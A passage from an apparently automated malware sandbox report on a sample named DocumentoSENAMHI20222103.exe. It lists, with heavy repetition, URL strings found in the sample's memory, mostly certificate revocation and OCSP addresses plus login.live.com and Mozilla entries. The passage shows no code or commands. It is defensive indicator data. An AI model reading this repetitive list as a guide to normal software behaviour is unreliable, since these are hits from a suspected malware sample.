00000001.00000003.80875623841.0000000005EF0000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81032367685.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80778848841.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83503539466.0000000001504000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81035851437.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80749812105.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80763490133.00000000064A3000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80770255250.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81037127774.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80754738208.000000000644A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80751294134.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747033580.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515571343.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80768466561.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747271781.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80766226813.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80875623841.0000000005EF0000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81032367685.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80778848841.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83503539466.0000000001504000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83523648265.0000000006D97000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83523648265.0000000006D97000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl0=
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81035851437.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80749812105.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80763490133.00000000064A3000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80770255250.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81037127774.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80754738208.000000000644A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80751294134.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747033580.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515571343.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80768466561.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747271781.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80766226813.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80875623841.0000000005EF0000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81032367685.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80778848841.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83503539466.0000000001504000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83523648265.0000000006D97000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83523648265.0000000006D97000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81035851437.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80749812105.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80763490133.00000000064A3000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80770255250.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81037127774.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80754738208.000000000644A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80751294134.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747033580.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515571343.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80768466561.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747271781.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80766226813.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80875623841.0000000005EF0000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81032367685.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80778848841.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83503539466.0000000001504000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0C
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81035851437.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80749812105.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80763490133.00000000064A3000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80770255250.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81037127774.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80754738208.000000000644A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80751294134.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747033580.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515571343.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80768466561.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747271781.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80766226813.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80875623841.0000000005EF0000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81032367685.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80778848841.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83503539466.0000000001504000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0N
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83523648265.0000000006D97000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.pki.goog/gtsr100
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83523648265.0000000006D97000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81035851437.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80749812105.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80763490133.00000000064A3000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80770255250.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81037127774.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80754738208.000000000644A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80751294134.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747033580.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515571343.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80768466561.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747271781.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80766226813.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80875623841.0000000005EF0000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81032367685.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80778848841.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83503539466.0000000001504000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp.thawte.com0
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83523648265.0000000006D97000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://pki.goog/repo/certs/gtsr1.der04
                      Source: wtqsCpda..exe, 0000000F.00000002.80316124713.0000000002B22000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.83503822976.0000000002C01000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81035851437.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80749812105.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80763490133.00000000064A3000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80770255250.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81037127774.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80754738208.000000000644A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80751294134.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747033580.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515571343.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80768466561.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747271781.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80766226813.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80875623841.0000000005EF0000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81032367685.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80778848841.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83503539466.0000000001504000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81035851437.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80749812105.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80763490133.00000000064A3000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80770255250.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81037127774.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80754738208.000000000644A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80751294134.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747033580.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515571343.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80768466561.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747271781.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80766226813.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80875623841.0000000005EF0000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81032367685.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80778848841.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83503539466.0000000001504000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81035851437.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80749812105.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80763490133.00000000064A3000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80770255250.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81037127774.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80754738208.000000000644A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80751294134.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747033580.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515571343.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80768466561.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747271781.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80766226813.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80875623841.0000000005EF0000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81032367685.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80778848841.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83503539466.0000000001504000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ts-ocsp.ws.symantec.com07
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80768273960.0000000005E0A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.mozilla.com/en-US/blocklist/
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81035851437.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80749812105.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80763490133.00000000064A3000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80770255250.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81037127774.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80754738208.000000000644A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80751294134.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747033580.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515571343.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80768466561.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747271781.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80766226813.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80875623841.0000000005EF0000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81032367685.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80778848841.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83503539466.0000000001504000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.mozilla.com0
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83523648265.0000000006D97000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://x1.c.lencr.org/0
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83523648265.0000000006D97000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://x1.i.lencr.org/0
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83503240355.00000000013B4000.00000002.00001000.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83505519609.0000000002FE0000.00000040.00001000.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79799775147.000000000118E000.00000004.00000020.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79809451868.000000000118E000.00000004.00000020.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79810306933.000000000117A000.00000004.00000020.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79799132484.000000000117E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/syohex/java-simple-mine-sweeperC:
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80684835019.00000000011DA000.00000004.00000020.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83502455517.00000000011DA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83518448531.00000000062A7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83518448531.00000000062A7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com//
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83518448531.00000000062A7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/v104
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83523648265.0000000006D97000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://pki.goog/repository/0
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81035851437.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80749812105.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80763490133.00000000064A3000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80770255250.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81037127774.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80754738208.000000000644A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80751294134.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747033580.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515571343.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 